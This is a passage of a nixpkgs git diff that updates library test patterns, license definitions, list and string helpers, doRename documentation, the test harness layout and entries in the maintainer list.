'with ((import <nixpkgs/lib>).extend (import <nixpkgs/lib/fileset/mock-splitRoot.nix>)).fileset; toSource { root = ./.; fileset = intersection ./foo/mock-root ./bar/mock-root; } ' 'lib.fileset.intersection: Filesystem roots are not the same: -\s*First argument: Filesystem root is "'"$work"'/foo/mock-root" -\s*Second argument: Filesystem root is "'"$work"'/bar/mock-root" -\s*Different filesystem roots are not supported.' +[[:blank:]]*First argument: Filesystem root is "'"$work"'/foo/mock-root" +[[:blank:]]*Second argument: Filesystem root is "'"$work"'/bar/mock-root" +[[:blank:]]*Different filesystem roots are not supported.' rm -rf -- * # Coercion errors show the correct context @@ -741,8 +765,8 @@ rm -rf -- * # Also not the other way around mkdir a expectFailure 'toSource { root = ./a; fileset = difference ./. ./a; }' 'lib.fileset.toSource: `fileset` could contain files in '"$work"', which is not under the `root` \('"$work"'/a\). Potential solutions: -\s*- Set `root` to '"$work"' or any directory higher up. This changes the layout of the resulting store path. -\s*- Set `fileset` to a file set that cannot contain files outside the `root` \('"$work"'/a\). This could change the files included in the result.' +[[:blank:]]*- Set `root` to '"$work"' or any directory higher up. This changes the layout of the resulting store path. +[[:blank:]]*- Set `fileset` to a file set that cannot contain files outside the `root` \('"$work"'/a\). This could change the files included in the result.' rm -rf -- * # Difference actually works @@ -819,7 +843,7 @@ expectFailure 'fileFilter null (abort "this is not needed")' 'lib.fileset.fileFi # The second argument needs to be an existing path expectFailure 'fileFilter (file: abort "this is not needed") _emptyWithoutBase' 'lib.fileset.fileFilter: Second argument is a file set, but it should be a path instead. -\s*If you need to filter files in a file set, use `intersection fileset \(fileFilter pred \./\.\)` instead.' +[[:blank:]]*If you need to filter files in a file set, use `intersection fileset \(fileFilter pred \./\.\)` instead.' expectFailure 'fileFilter (file: abort "this is not needed") null' 'lib.fileset.fileFilter: Second argument is of type null, but it should be a path instead.' expectFailure 'fileFilter (file: abort "this is not needed") ./a' 'lib.fileset.fileFilter: Second argument \('"$work"'/a\) is a path that does not exist.' @@ -1083,7 +1107,7 @@ rm -rf -- * # String-like values are not supported expectFailure 'fromSource (lib.cleanSource "")' 'lib.fileset.fromSource: The source origin of the argument is a string-like value \(""\), but it should be a path instead. -\s*Sources created from paths in strings cannot be turned into file sets, use `lib.sources` or derivations instead.' +[[:blank:]]*Sources created from paths in strings cannot be turned into file sets, use `lib.sources` or derivations instead.' # Wrong type expectFailure 'fromSource null' 'lib.fileset.fromSource: The source origin of the argument is of type null, but it should be a path instead.' @@ -1400,10 +1424,10 @@ expectEqual '(import '"$storePath"' { fs = lib.fileset; }).outPath' \""$storePat ## But it fails if the path is imported with a fetcher that doesn't remove .git (like just using "${./.}") expectFailure 'import "${./.}" { fs = lib.fileset; }' 'lib.fileset.gitTracked: The argument \(.*\) is a store path within a working tree of a Git repository. -\s*This indicates that a source directory was imported into the store using a method such as `import "\$\{./.\}"` or `path:.`. -\s*This function currently does not support such a use case, since it currently relies on `builtins.fetchGit`. -\s*You could make this work by using a fetcher such as `fetchGit` instead of copying the whole repository. -\s*If you can'\''t avoid copying the repo to the store, see https://github.com/NixOS/nix/issues/9292.' +[[:blank:]]*This indicates that a source directory was imported into the store using a method such as `import "\$\{./.\}"` or `path:.`. +[[:blank:]]*This function currently does not support such a use case, since it currently relies on `builtins.fetchGit`. +[[:blank:]]*You could make this work by using a fetcher such as `fetchGit` instead of copying the whole repository. +[[:blank:]]*If you can'\''t avoid copying the repo to the store, see https://github.com/NixOS/nix/issues/9292.' ## Even with submodules if [[ -n "$fetchGitSupportsSubmodules" ]]; then @@ -1427,15 +1451,15 @@ if [[ -n "$fetchGitSupportsSubmodules" ]]; then ## But it fails if the path is imported with a fetcher that doesn't remove .git (like just using "${./.}") expectFailure 'import "${./.}" { fs = lib.fileset; }' 'lib.fileset.gitTrackedWith: The second argument \(.*\) is a store path within a working tree of a Git repository. - \s*This indicates that a source directory was imported into the store using a method such as `import "\$\{./.\}"` or `path:.`. - \s*This function currently does not support such a use case, since it currently relies on `builtins.fetchGit`. - \s*You could make this work by using a fetcher such as `fetchGit` instead of copying the whole repository. - \s*If you can'\''t avoid copying the repo to the store, see https://github.com/NixOS/nix/issues/9292.' + [[:blank:]]*This indicates that a source directory was imported into the store using a method such as `import "\$\{./.\}"` or `path:.`. + [[:blank:]]*This function currently does not support such a use case, since it currently relies on `builtins.fetchGit`. + [[:blank:]]*You could make this work by using a fetcher such as `fetchGit` instead of copying the whole repository. + [[:blank:]]*If you can'\''t avoid copying the repo to the store, see https://github.com/NixOS/nix/issues/9292.' expectFailure 'import "${./.}/sub" { fs = lib.fileset; }' 'lib.fileset.gitTracked: The argument \(.*/sub\) is a store path within a working tree of a Git repository. - \s*This indicates that a source directory was imported into the store using a method such as `import "\$\{./.\}"` or `path:.`. - \s*This function currently does not support such a use case, since it currently relies on `builtins.fetchGit`. - \s*You could make this work by using a fetcher such as `fetchGit` instead of copying the whole repository. - \s*If you can'\''t avoid copying the repo to the store, see https://github.com/NixOS/nix/issues/9292.' + [[:blank:]]*This indicates that a source directory was imported into the store using a method such as `import "\$\{./.\}"` or `path:.`. + [[:blank:]]*This function currently does not support such a use case, since it currently relies on `builtins.fetchGit`. + [[:blank:]]*You could make this work by using a fetcher such as `fetchGit` instead of copying the whole repository. + [[:blank:]]*If you can'\''t avoid copying the repo to the store, see https://github.com/NixOS/nix/issues/9292.' fi rm -rf -- * diff --git a/lib/fixed-points.nix b/lib/fixed-points.nix index 3370b55a4ab9a..3bd18fdd2a5a9 100644 --- a/lib/fixed-points.nix +++ b/lib/fixed-points.nix @@ -145,6 +145,12 @@ rec { in fix g ``` + :::{.note} + The argument to the given fixed-point function after applying an overlay will *not* refer to its own return value, but rather to the value after evaluating the overlay function. + + The given fixed-point function is called with a separate argument than if it was evaluated with `lib.fix`. + ::: + :::{.example} # Extend a fixed-point function with an overlay @@ -230,13 +236,6 @@ rec { fix (extends (final: prev: { c = final.a + final.b; }) f) => { a = 1; b = 3; c = 4; } - - :::{.note} - The argument to the given fixed-point function after applying an overlay will *not* refer to its own return value, but rather to the value after evaluating the overlay function. - - The given fixed-point function is called with a separate argument than if it was evaluated with `lib.fix`. - The new argument - ::: */ extends = # The overlay to apply to the fixed-point function diff --git a/lib/licenses.nix b/lib/licenses.nix index 39d8272f7573a..30ca31ff71f2f 100644 --- a/lib/licenses.nix +++ b/lib/licenses.nix @@ -412,6 +412,11 @@ in mkLicense lset) ({ fullName = "Detection Rule License 1.0"; }; + dtoa = { + spdxId = "dtoa"; + fullName = "dtoa License"; + }; + eapl = { fullName = "EPSON AVASYS PUBLIC LICENSE"; url = "https://avasys.jp/hp/menu000000700/hpg000000603.htm"; @@ -1066,6 +1071,11 @@ in mkLicense lset) ({ url = "https://sources.debian.org/copyright/license/debianutils/4.9.1/"; }; + smlnj = { + spdxId = "SMLNJ"; + fullName = "Standard ML of New Jersey License"; + }; + sspl = { shortName = "SSPL"; fullName = "Server Side Public License"; @@ -1215,6 +1225,11 @@ in mkLicense lset) ({ url = "https://mcj.sourceforge.net/authors.html#xfig"; }; + xinetd = { + spdxId = "xinetd"; + fullName = "xinetd License"; + }; + zlib = { spdxId = "Zlib"; fullName = "zlib License"; @@ -1229,6 +1244,11 @@ in mkLicense lset) ({ spdxId = "ZPL-2.1"; fullName = "Zope Public License 2.1"; }; + + xskat = { + spdxId = "XSkat"; + fullName = "XSkat License"; + }; } // { # TODO: remove legacy aliases agpl3 = { diff --git a/lib/lists.nix b/lib/lists.nix index b612bc16697ef..05216c1a66eb1 100644 --- a/lib/lists.nix +++ b/lib/lists.nix @@ -4,7 +4,6 @@ let inherit (lib.strings) toInt; inherit (lib.trivial) compare min id warn; inherit (lib.attrsets) mapAttrs; - inherit (lib.lists) sort; in rec { @@ -172,7 +171,7 @@ rec { concatMap (x: [x] ++ ["z"]) ["a" "b"] => [ "a" "z" "b" "z" ] */ - concatMap = builtins.concatMap or (f: list: concatLists (map f list)); + concatMap = builtins.concatMap; /* Flatten the argument into a single list; that is, nested lists are spliced into the top-level lists. @@ -316,7 +315,7 @@ rec { any isString [ 1 { } ] => false */ - any = builtins.any or (pred: foldr (x: y: if pred x then true else y) false); + any = builtins.any; /* Return true if function `pred` returns true for all elements of `list`. @@ -329,7 +328,7 @@ rec { all (x: x < 3) [ 1 2 3 ] => false */ - all = builtins.all or (pred: foldr (x: y: if pred x then y else false) true); + all = builtins.all; /* Count how many elements of `list` match the supplied predicate function. @@ -428,12 +427,7 @@ rec { partition (x: x > 2) [ 5 1 2 3 4 ] => { right = [ 5 3 4 ]; wrong = [ 1 2 ]; } */ - partition = builtins.partition or (pred: - foldr (h: t: - if pred h - then { right = [h] ++ t.right; wrong = t.wrong; } - else { right = t.right; wrong = [h] ++ t.wrong; } - ) { right = []; wrong = []; }); + partition = builtins.partition; /* Splits the elements of a list into many lists, using the return value of a predicate. Predicate should return a string which becomes keys of attrset `groupBy` returns. @@ -602,22 +596,7 @@ rec { Type: sort :: (a -> a -> Bool) -> [a] -> [a] */ - sort = builtins.sort or ( - strictLess: list: - let - len = length list; - first = head list; - pivot' = n: acc@{ left, right }: let el = elemAt list n; next = pivot' (n + 1); in - if n == len - then acc - else if strictLess first el - then next { inherit left; right = [ el ] ++ right; } - else - next { left = [ el ] ++ left; inherit right; }; - pivot = pivot' 1 { left = []; right = []; }; - in - if len < 2 then list - else (sort strictLess pivot.left) ++ [ first ] ++ (sort strictLess pivot.right)); + sort = builtins.sort; /* Sort a list based on the default comparison of a derived property `b`. diff --git a/lib/meta.nix b/lib/meta.nix index 5d5f71d6c3cba..675e1912d4be9 100644 --- a/lib/meta.nix +++ b/lib/meta.nix @@ -87,6 +87,10 @@ rec { We can inject these into a pattern for the whole of a structured platform, and then match that. + + Example: + lib.meta.platformMatch { system = "aarch64-darwin"; } "aarch64-darwin" + => true */ platformMatch = platform: elem: ( # Check with simple string comparison if elem was a string. @@ -112,6 +116,10 @@ rec { platform, or `meta.platforms` is not present. 2. None of `meta.badPlatforms` pattern matches the given platform. + + Example: + lib.meta.availableOn { system = "aarch64-darwin"; } pkg.zsh + => true */ availableOn = platform: pkg: ((!pkg?meta.platforms) || any (platformMatch platform) pkg.meta.platforms) && diff --git a/lib/modules.nix b/lib/modules.nix index 0c484fa684aaa..61964d4667811 100644 --- a/lib/modules.nix +++ b/lib/modules.nix @@ -81,9 +81,9 @@ let , # `class`: # A nominal type for modules. When set and non-null, this adds a check to # make sure that only compatible modules are imported. - # This would be remove in the future, Prefer _module.args option instead. class ? null - , args ? {} + , # This would be remove in the future, Prefer _module.args option instead. + args ? {} , # This would be remove in the future, Prefer _module.check option instead. check ? true }: @@ -1256,7 +1256,78 @@ let (opt.highestPrio or defaultOverridePriority) (f opt.value); - doRename = { from, to, visible, warn, use, withPriority ? true, condition ? true }: + /* + Return a module that help declares an option that has been renamed. + When a value is defined for the old option, it is forwarded to the `to` option. + */ + doRename = { + # List of strings representing the attribute path of the old option. + from, + # List of strings representing the attribute path of the new option. + to, + # Boolean, whether the old option is to be included in documentation. + visible, + # Whether to warn when a value is defined for the old option. + # NOTE: This requires the NixOS assertions module to be imported, so + # - this generally does not work in submodules + # - this may or may not work outside NixOS + warn, + # A function that is applied to the option value, to form the value + # of the old `from` option. + # + # For example, the identity function can be passed, to return the option value unchanged. + # ```nix + # use = x: x; + # ``` + # + # To add a warning, you can pass the partially applied `warn` function. + # ```nix + # use = lib.warn "Obsolete option `${opt.old}' is used. Use `${opt.to}' instead."; + # ``` + use, + # Legacy option, enabled by default: whether to preserve the priority of definitions in `old`. + withPriority ? true, + # A boolean that defines the `mkIf` condition for `to`. + # If the condition evaluates to `true`, and the `to` path points into an + # `attrsOf (submodule ...)`, then `doRename` would cause an empty module to + # be created, even if the `from` option is undefined. + # By setting this to an expression that may return `false`, you can inhibit + # this undesired behavior. + # + # Example: + # + # ```nix + # { config, lib, ... }: + # let + # inherit (lib) mkOption mkEnableOption types doRename; + # in + # { + # options = { + # + # # Old service + # services.foo.enable = mkEnableOption "foo"; + # + # # New multi-instance service + # services.foos = mkOption { + # type = types.attrsOf (types.submodule …); + # }; + # }; + # imports = [ + # (doRename { + # from = [ "services" "foo" "bar" ]; + # to = [ "services" "foos" "" "bar" ]; + # visible = true; + # warn = false; + # use = x: x; + # withPriority = true; + # # Only define services.foos."" if needed. (It's not just about `bar`) + # condition = config.services.foo.enable; + # }) + # ]; + # } + # ``` + condition ? true + }: { config, options, ... }: let fromOpt = getAttrFromPath from options; diff --git a/lib/strings.nix b/lib/strings.nix index 7083576dd529e..32efc9bdb70e9 100644 --- a/lib/strings.nix +++ b/lib/strings.nix @@ -95,8 +95,7 @@ rec { concatStringsSep "/" ["usr" "local" "bin"] => "usr/local/bin" */ - concatStringsSep = builtins.concatStringsSep or (separator: list: - lib.foldl' (x: y: x + y) "" (intersperse separator list)); + concatStringsSep = builtins.concatStringsSep; /* Maps a function over a list of strings and then concatenates the result with the specified separator interspersed between @@ -1039,30 +1038,32 @@ rec { toInt "3.14" => error: floating point JSON numbers are not supported */ - toInt = str: + toInt = + let + matchStripInput = match "[[:space:]]*(-?[[:digit:]]+)[[:space:]]*"; + matchLeadingZero = match "0[[:digit:]]+"; + in + str: let # RegEx: Match any leading whitespace, possibly a '-', one or more digits, # and finally match any trailing whitespace. - strippedInput = match "[[:space:]]*(-?[[:digit:]]+)[[:space:]]*" str; + strippedInput = matchStripInput str; # RegEx: Match a leading '0' then one or more digits. - isLeadingZero = match "0[[:digit:]]+" (head strippedInput) == []; + isLeadingZero = matchLeadingZero (head strippedInput) == []; # Attempt to parse input parsedInput = fromJSON (head strippedInput); generalError = "toInt: Could not convert ${escapeNixString str} to int."; - octalAmbigError = "toInt: Ambiguity in interpretation of ${escapeNixString str}" - + " between octal and zero padded integer."; - in # Error on presence of non digit characters. if strippedInput == null then throw generalError # Error on presence of leading zero/octal ambiguity. else if isLeadingZero - then throw octalAmbigError + then throw "toInt: Ambiguity in interpretation of ${escapeNixString str} between octal and zero padded integer." # Error if parse function fails. else if !isInt parsedInput then throw generalError @@ -1090,15 +1091,20 @@ rec { toIntBase10 "3.14" => error: floating point JSON numbers are not supported */ - toIntBase10 = str: + toIntBase10 = + let + matchStripInput = match "[[:space:]]*0*(-?[[:digit:]]+)[[:space:]]*"; + matchZero = match "0+"; + in + str: let # RegEx: Match any leading whitespace, then match any zero padding, # capture possibly a '-' followed by one or more digits, # and finally match any trailing whitespace. - strippedInput = match "[[:space:]]*0*(-?[[:digit:]]+)[[:space:]]*" str; + strippedInput = matchStripInput str; # RegEx: Match at least one '0'. - isZero = match "0+" (head strippedInput) == []; + isZero = matchZero (head strippedInput) == []; # Attempt to parse input parsedInput = fromJSON (head strippedInput); diff --git a/lib/tests/misc.nix b/lib/tests/misc.nix index 193e68a96933c..98d1f4e71c488 100644 --- a/lib/tests/misc.nix +++ b/lib/tests/misc.nix @@ -55,6 +55,24 @@ runTests { expected = { a = false; b = false; c = true; }; }; + testCallPackageWithOverridePreservesArguments = + let + f = { a ? 0, b }: {}; + f' = callPackageWith { a = 1; b = 2; } f {}; + in { + expr = functionArgs f'.override; + expected = functionArgs f; + }; + + testCallPackagesWithOverridePreservesArguments = + let + f = { a ? 0, b }: { nested = {}; }; + f' = callPackagesWith { a = 1; b = 2; } f {}; + in { + expr = functionArgs f'.nested.override; + expected = functionArgs f; + }; + # TRIVIAL testId = { @@ -1973,6 +1991,24 @@ runTests { }).drvPath; }; + testLazyDerivationMultiOutputReturnsDerivationAttrs = let + derivation = { + type = "derivation"; + outputs = ["out" "dev"]; + dev = "test dev"; + out = "test out"; + outPath = "test outPath"; + outputName = "out"; + drvPath = "test drvPath"; + name = "test name"; + system = "test system"; + meta.position = "/hi:23"; + }; + in { + expr = lazyDerivation { inherit derivation; outputs = ["out" "dev"]; passthru.meta.position = "/hi:23"; }; + expected = derivation; + }; + testTypeDescriptionInt = { expr = (with types; int).description; expected = "signed integer"; diff --git a/lib/tests/release.nix b/lib/tests/release.nix index 96d34be8c2d35..5b2a9df1635c6 100644 --- a/lib/tests/release.nix +++ b/lib/tests/release.nix @@ -9,60 +9,7 @@ let lib = import ../.; testWithNix = nix: - pkgs.runCommand "nixpkgs-lib-tests-nix-${nix.version}" { - buildInputs = [ - (import ./check-eval.nix) - (import ./maintainers.nix { - inherit pkgs; - lib = import ../.; - }) - (import ./teams.nix { - inherit pkgs; - lib = import ../.; - }) - (import ../path/tests { - inherit pkgs; - }) - ]; - nativeBuildInputs = [ - nix - pkgs.gitMinimal - ] ++ lib.optional pkgs.stdenv.isLinux pkgs.inotify-tools; - strictDeps = true; - } '' - datadir="${nix}/share" - export TEST_ROOT=$(pwd)/test-tmp - export HOME=$(mktemp -d) - export NIX_BUILD_HOOK= - export NIX_CONF_DIR=$TEST_ROOT/etc - export NIX_LOCALSTATE_DIR=$TEST_ROOT/var - export NIX_LOG_DIR=$TEST_ROOT/var/log/nix - export NIX_STATE_DIR=$TEST_ROOT/var/nix - export NIX_STORE_DIR=$TEST_ROOT/store - export PAGER=cat - cacheDir=$TEST_ROOT/binary-cache - - nix-store --init - - cp -r ${../.} lib - echo "Running lib/tests/modules.sh" - bash lib/tests/modules.sh - - echo "Running lib/tests/filesystem.sh" - TEST_LIB=$PWD/lib bash lib/tests/filesystem.sh - - echo "Running lib/tests/sources.sh" - TEST_LIB=$PWD/lib bash lib/tests/sources.sh - - echo "Running lib/fileset/tests.sh" - TEST_LIB=$PWD/lib bash lib/fileset/tests.sh - - echo "Running lib/tests/systems.nix" - [[ $(nix-instantiate --eval --strict lib/tests/systems.nix | tee /dev/stderr) == '[ ]' ]]; - - mkdir $out - echo success > $out/${nix.version} - ''; + import ./test-with-nix.nix { inherit lib nix pkgs; }; in pkgs.symlinkJoin { diff --git a/lib/tests/test-with-nix.nix b/lib/tests/test-with-nix.nix new file mode 100644 index 0000000000000..9d66b91cab428 --- /dev/null +++ b/lib/tests/test-with-nix.nix @@ -0,0 +1,76 @@ +/** + * Instantiate the library tests for a given Nix version. + * + * IMPORTANT: + * This is used by the github.com/NixOS/nix CI. + * + * Try not to change the interface of this file, or if you need to, ping the + * Nix maintainers for help. Thank you! + */ +{ + pkgs, + lib, + # Only ever use this nix; see comment at top + nix, +}: + +pkgs.runCommand "nixpkgs-lib-tests-nix-${nix.version}" { + buildInputs = [ + (import ./check-eval.nix) + (import ./maintainers.nix { + inherit pkgs; + lib = import ../.; + }) + (import ./teams.nix { + inherit pkgs; + lib = import ../.; + }) + (import ../path/tests { + inherit pkgs; + }) + ]; + nativeBuildInputs = [ + nix + pkgs.gitMinimal + ] ++ lib.optional pkgs.stdenv.isLinux pkgs.inotify-tools; + strictDeps = true; +} '' + datadir="${nix}/share" + export TEST_ROOT=$(pwd)/test-tmp + export HOME=$(mktemp -d) + export NIX_BUILD_HOOK= + export NIX_CONF_DIR=$TEST_ROOT/etc + export NIX_LOCALSTATE_DIR=$TEST_ROOT/var + export NIX_LOG_DIR=$TEST_ROOT/var/log/nix + export NIX_STATE_DIR=$TEST_ROOT/var/nix + export NIX_STORE_DIR=$TEST_ROOT/store + export PAGER=cat + cacheDir=$TEST_ROOT/binary-cache + + nix-store --init + + cp -r ${../.} lib + echo "Running lib/tests/modules.sh" + bash lib/tests/modules.sh + + echo "Checking lib.version" + nix-instantiate lib -A version --eval || { + echo "lib.version does not evaluate when lib is isolated from the rest of the nixpkgs tree" + exit 1 + } + + echo "Running lib/tests/filesystem.sh" + TEST_LIB=$PWD/lib bash lib/tests/filesystem.sh + + echo "Running lib/tests/sources.sh" + TEST_LIB=$PWD/lib bash lib/tests/sources.sh + + echo "Running lib/fileset/tests.sh" + TEST_LIB=$PWD/lib bash lib/fileset/tests.sh + + echo "Running lib/tests/systems.nix" + [[ $(nix-instantiate --eval --strict lib/tests/systems.nix | tee /dev/stderr) == '[ ]' ]]; + + mkdir $out + echo success > $out/${nix.version} +'' diff --git a/lib/trivial.nix b/lib/trivial.nix index 58620006de151..c197822a4f8e5 100644 --- a/lib/trivial.nix +++ b/lib/trivial.nix @@ -95,21 +95,6 @@ in { /* boolean “and” */ and = x: y: x && y; - /* bitwise “and” */ - bitAnd = builtins.bitAnd - or (import ./zip-int-bits.nix - (a: b: if a==1 && b==1 then 1 else 0)); - - /* bitwise “or” */ - bitOr = builtins.bitOr - or (import ./zip-int-bits.nix - (a: b: if a==1 || b==1 then 1 else 0)); - - /* bitwise “xor” */ - bitXor = builtins.bitXor - or (import ./zip-int-bits.nix - (a: b: if a!=b then 1 else 0)); - /* bitwise “not” */ bitNot = builtins.sub (-1); @@ -165,8 +150,8 @@ in { inherit (builtins) pathExists readFile isBool isInt isFloat add sub lessThan - seq deepSeq genericClosure; - + seq deepSeq genericClosure + bitAnd bitOr bitXor; ## nixpkgs version strings @@ -174,7 +159,7 @@ in { version = release + versionSuffix; /* Returns the current nixpkgs release number as string. */ - release = lib.strings.fileContents ../.version; + release = lib.strings.fileContents ./.version; /* The latest release that is supported, at the time of release branch-off, if applicable. diff --git a/lib/versions.nix b/lib/versions.nix index 986e7e5f9b37d..720d19e8ca29f 100644 --- a/lib/versions.nix +++ b/lib/versions.nix @@ -9,7 +9,7 @@ rec { splitVersion "1.2.3" => ["1" "2" "3"] */ - splitVersion = builtins.splitVersion or (lib.splitString "."); + splitVersion = builtins.splitVersion; /* Get the major version string from a string. diff --git a/lib/zip-int-bits.nix b/lib/zip-int-bits.nix deleted file mode 100644 index 53efd2bb0a042..0000000000000 --- a/lib/zip-int-bits.nix +++ /dev/null @@ -1,39 +0,0 @@ -/* Helper function to implement a fallback for the bit operators - `bitAnd`, `bitOr` and `bitXor` on older nix version. - See ./trivial.nix -*/ -f: x: y: - let - # (intToBits 6) -> [ 0 1 1 ] - intToBits = x: - if x == 0 || x == -1 then - [] - else - let - headbit = if (x / 2) * 2 != x then 1 else 0; # x & 1 - tailbits = if x < 0 then ((x + 1) / 2) - 1 else x / 2; # x >> 1 - in - [headbit] ++ (intToBits tailbits); - - # (bitsToInt [ 0 1 1 ] 0) -> 6 - # (bitsToInt [ 0 1 0 ] 1) -> -6 - bitsToInt = l: signum: - if l == [] then - (if signum == 0 then 0 else -1) - else - (builtins.head l) + (2 * (bitsToInt (builtins.tail l) signum)); - - xsignum = if x < 0 then 1 else 0; - ysignum = if y < 0 then 1 else 0; - zipListsWith' = fst: snd: - if fst==[] && snd==[] then - [] - else if fst==[] then - [(f xsignum (builtins.head snd))] ++ (zipListsWith' [] (builtins.tail snd)) - else if snd==[] then - [(f (builtins.head fst) ysignum )] ++ (zipListsWith' (builtins.tail fst) [] ) - else - [(f (builtins.head fst) (builtins.head snd))] ++ (zipListsWith' (builtins.tail fst) (builtins.tail snd)); - in - assert (builtins.isInt x) && (builtins.isInt y); - bitsToInt (zipListsWith' (intToBits x) (intToBits y)) (f xsignum ysignum) diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix index 0aefa5a90a5a3..dfd15d5044b3e 100644 --- a/maintainers/maintainer-list.nix +++ b/maintainers/maintainer-list.nix @@ -203,6 +203,15 @@ fingerprint = "D292 365E 3C46 A5AA 75EE B30B 78DB 7EDE 3540 794B"; }]; }; + _6543 = { + email = "6543@obermui.de"; + github = "6543"; + githubId = 24977596; + name = "6543"; + keys = [{ + fingerprint = "8722 B61D 7234 1082 553B 201C B8BE 6D61 0E61 C862"; + }]; + }; _6AA4FD = { email = "f6442954@gmail.com"; github = "6AA4FD"; @@ -385,6 +394,13 @@ githubId = 2526296; name = "Adrien Bustany"; }; + abysssol = { + name = "abysssol"; + email = "abysssol@pm.me"; + matrix = "@abysssol:tchncs.de"; + github = "abysssol"; + githubId = 76763323; + }; acairncross = { email = "acairncross@gmail.com"; github = "acairncross"; @@ -665,7 +681,7 @@ }; ajs124 = { email = "nix@ajs124.de"; - matrix = "@andreas.schraegle:helsinki-systems.de"; + matrix = "@ajs124:ajs124.de"; github = "ajs124"; githubId = 1229027; name = "Andreas Schrägle"; @@ -1736,6 +1752,12 @@ githubId = 113123021; name = "Ashvith Shetty"; }; + asininemonkey = { + email = "nixpkgs@asininemonkey.com"; + github = "asininemonkey"; + githubId = 65740649; + name = "Jose Cardoso"; + }; aske = { email = "aske@fmap.me"; github = "aske"; @@ -1748,6 +1770,15 @@ githubId = 453170; name = "Alastair Pharo"; }; + aspulse = { + email = "contact@aspulse.dev"; + github = "aspulse"; + githubId = 84216737; + name = "AsPulse / あすぱる"; + keys = [{ + fingerprint = "C919 E69E A7C0 E147 9E0F C26E 1EDA D0C6 70BD 062D"; + }]; + }; astavie = { email = "astavie@pm.me"; github = "astavie"; @@ -1859,12 +1890,6 @@ github = "Atry"; githubId = 601530; }; - attila-lendvai = { - name = "Attila Lendvai"; - email = "attila@lendvai.name"; - github = "attila-lendvai"; - githubId = 840345; - }; auchter = { name = "Michael Auchter"; email = "a@phire.org"; @@ -2250,6 +2275,12 @@ githubId = 24027; name = "Bruno Bigras"; }; + bbjubjub = { + name = "Julie B."; + email = "julie+nixpkgs@bbjubjub.fr"; + github = "bbjubjub2494"; + githubId = 15657735; + }; bburdette = { email = "bburdette@protonmail.com"; github = "bburdette"; @@ -2538,6 +2569,12 @@ githubId = 185443; name = "Alexey Lebedeff"; }; + binarycat = { + email = "binarycat@envs.net"; + github = "lolbinarycat"; + githubId = 19915050; + name = "binarycat"; + }; binsky = { email = "timo@binsky.org"; github = "binsky08"; @@ -2970,7 +3007,7 @@ }; cafkafk = { email = "christina@cafkafk.com"; - matrix = "@cafkafk:nixos.dev"; + matrix = "@cafkafk:gitter.im"; name = "Christina Sørensen"; github = "cafkafk"; githubId = 89321978; @@ -3216,6 +3253,13 @@ github = "cdmistman"; githubId = 23486351; }; + cdombroski = { + name = "Chris Dombroski"; + email = "cdombroski@gmail.com"; + matrix = "@cdombroski:kow.is"; + github = "cdombroski"; + githubId = 244909; + }; ceedubs = { email = "ceedubs@gmail.com"; github = "ceedubs"; @@ -4103,6 +4147,12 @@ github = "D3vil0p3r"; githubId = 83867734; }; + d4ilyrun = { + name = "Léo Duboin"; + email = "leo@duboin.com"; + github = "d4ilyrun"; + githubId = 34611103; + }; dadada = { name = "dadada"; email = "dadada@dadada.li"; @@ -4289,6 +4339,15 @@ githubId = 34766150; name = "datafoo"; }; + DataHearth = { + email = "dev@antoine-langlois.net"; + github = "DataHearth"; + githubId = 28595242; + name = "DataHearth"; + keys = [{ + fingerprint = "A129 2547 0298 BFEE 7EE0 92B3 946E 2D0C 410C 7B3D"; + }]; + }; davegallant = { name = "Dave Gallant"; email = "davegallant@gmail.com"; @@ -4392,6 +4451,12 @@ githubId = 49904992; name = "Dawid Sowa"; }; + dawoox = { + email = "contact@antoinebellanger.fr"; + github = "dawoox"; + githubId = 48325941; + name = "Dawoox"; + }; daylinmorgan = { email = "daylinmorgan@gmail.com"; github = "daylinmorgan"; @@ -4549,6 +4614,12 @@ githubId = 47436522; name = "deliciouslytyped"; }; + delliott = { + name = "Darragh Elliott"; + github = "delliottxyz"; + githubId = 150736012; + email = "me+git@delliott.xyz"; + }; delroth = { email = "delroth@gmail.com"; github = "delroth"; @@ -4782,6 +4853,12 @@ githubId = 8404455; name = "Diego Lelis"; }; + diegs = { + email = "dpontor@gmail.com"; + github = "diegs"; + githubId = 74719; + name = "Diego Pontoriero"; + }; DieracDelta = { email = "justin@restivo.me"; github = "DieracDelta"; @@ -5304,6 +5381,12 @@ githubId = 7875; name = "Rommel Martinez"; }; + ecklf = { + email = "ecklf@icloud.com"; + github = "ecklf"; + githubId = 8146736; + name = "Florentin Eckl"; + }; eclairevoyant = { github = "eclairevoyant"; githubId = 848000; @@ -5731,6 +5814,13 @@ githubId = 8706; name = "Rafael Fernández López"; }; + erethon = { + email = "dgrig@erethon.com"; + matrix = "@dgrig:erethon.com"; + github = "erethon"; + githubId = 1254842; + name = "Dionysis Grigoropoulos"; + }; ericbmerritt = { email = "eric@afiniate.com"; github = "ericbmerritt"; @@ -5878,7 +5968,7 @@ }; etu = { email = "elis@hirwing.se"; - matrix = "@etu:semi.social"; + matrix = "@etu:failar.nu"; github = "etu"; githubId = 461970; name = "Elis Hirwing"; @@ -5951,6 +6041,15 @@ githubId = 159288204; name = "evey"; }; + evilbulgarian = { + email = "vladi@aresgate.net"; + github = "evilbulgarian"; + githubId = 1960413; + name = "Vladi Gergov"; + keys = [{ + fingerprint = "50D5 67C5 D693 15A2 76F5 5634 3758 5F3C A9EC BFA4"; + }]; + }; evilmav = { email = "elenskiy.ilya@gmail.com"; github = "evilmav"; @@ -6314,12 +6413,6 @@ githubId = 1952914; name = "Maxence Maireaux"; }; - flexagoon = { - email = "flexagoon@pm.me"; - github = "flexagoon"; - githubId = 66178592; - name = "Pavel Zolotarevskiy"; - }; flexiondotorg = { name = "Martin Wimpress"; email = "martin@wimpress.org"; @@ -6467,6 +6560,11 @@ githubId = 726447; name = "Francisco Demartino"; }; + frankp = { + github = "MDM23"; + githubId = 10290864; + name = "Peter Frank"; + }; franzmondlichtmann = { name = "Franz Schroepf"; email = "franz-schroepf@t-online.de"; @@ -6654,6 +6752,16 @@ githubId = 29337229; name = "mtths"; }; + fx-chun = { + email = "faye@lolc.at"; + matrix = "@faye:lolc.at"; + github = "fx-chun"; + githubId = 40049608; + name = "Faye Chun"; + keys = [{ + fingerprint = "ACB8 DB1F E88D A908 6332 BDB1 5A71 B010 2FD7 3FC0"; + }]; + }; fxfactorial = { email = "edgar.factorial@gmail.com"; github = "fxfactorial"; @@ -6934,6 +7042,12 @@ githubId = 37602871; name = "Galois"; }; + ggg = { + email = "gggkiller2@gmail.com"; + github = "GGG-KILLER"; + githubId = 5892127; + name = "GGG"; + }; ggpeti = { email = "ggpeti@gmail.com"; matrix = 